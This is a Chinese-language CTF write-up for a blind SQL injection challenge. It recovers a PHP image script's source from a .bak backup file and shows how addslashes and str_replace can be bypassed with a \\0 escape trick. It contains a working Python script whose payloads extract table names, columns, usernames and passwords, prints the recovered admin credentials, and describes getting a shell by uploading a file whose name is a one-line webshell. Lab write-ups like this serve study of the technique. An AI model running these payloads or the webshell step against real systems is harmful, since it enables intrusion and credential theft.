知识点:sql盲注,转义字符
应该是获得usrename的值,看看有没有注册页面register.php
然而并没有,尝试sql注入,注了半天啥反应都没有。
跑下目录看一下,试试,可以看到有两个页面有反应,robots.txt
和image.php
提示:.php
和.bak
,image.php.bak
可以拿到源码。
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
我们的目标肯定是使得这句能够执行我们的查询语句:
id='{$id}' or path='{$path}'");
先看这段,会把一些字符赋值空:且\0,实际上是\0,因为第一个斜杠实际上是对第二个斜杠的转义,也就是说可以利用替换达成我们的目的。
再看这段
addslashes:该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。
举个例子:
<?php
$id = "\\0";
echo $id.'<br>';
$id = addslashes($id);
echo $id.'<br>';
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
echo $id.'<br>';
?>
显示:先传入变量id值为\\0,先被转义为\0,再经过addslashes()的处理,变量id="\\0",最后经过str_replace()的替换,变为\
也就是说此时sql语句为id={' \' or path='} {$path}');
,我们可以再path处构造盲注。
import requests
url = 'http://dc915e1f-f867-4a5a-bb60-2dd2708768c5.node4.buuoj.cn:81//image.php?id=\\0&path=or 1='
flag = ''
name = ''
for i in range(1, 50):
for j in range(127, 0, -1):
#爆表
#payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, j)
#爆字段因为过滤了'和"所以用16进制代替表名user
#payload = 'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))=%d,1,-1)%%23' % (i, j)
#爆username值
#payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, j)
#爆password值
payload = 'if(ascii(substr((select group_concat(password) from users),%d,1))=%d,1,-1)%%23' % (i, j)
r = requests.get(url+payload)
#因为当成功时会返回图片,可以以此来判断。
if "JFIF" in r.text:
name += chr(j)
print(name)
break
得到账户密码:
admin
bc876077ef9ba9903c37
登录可以看到是一个上传页面,随便传个文件,告诉我们会把文件名写入到日志中所以我们只要上传一个文件名为一句话木马的文件就行了
最后getshell就行了。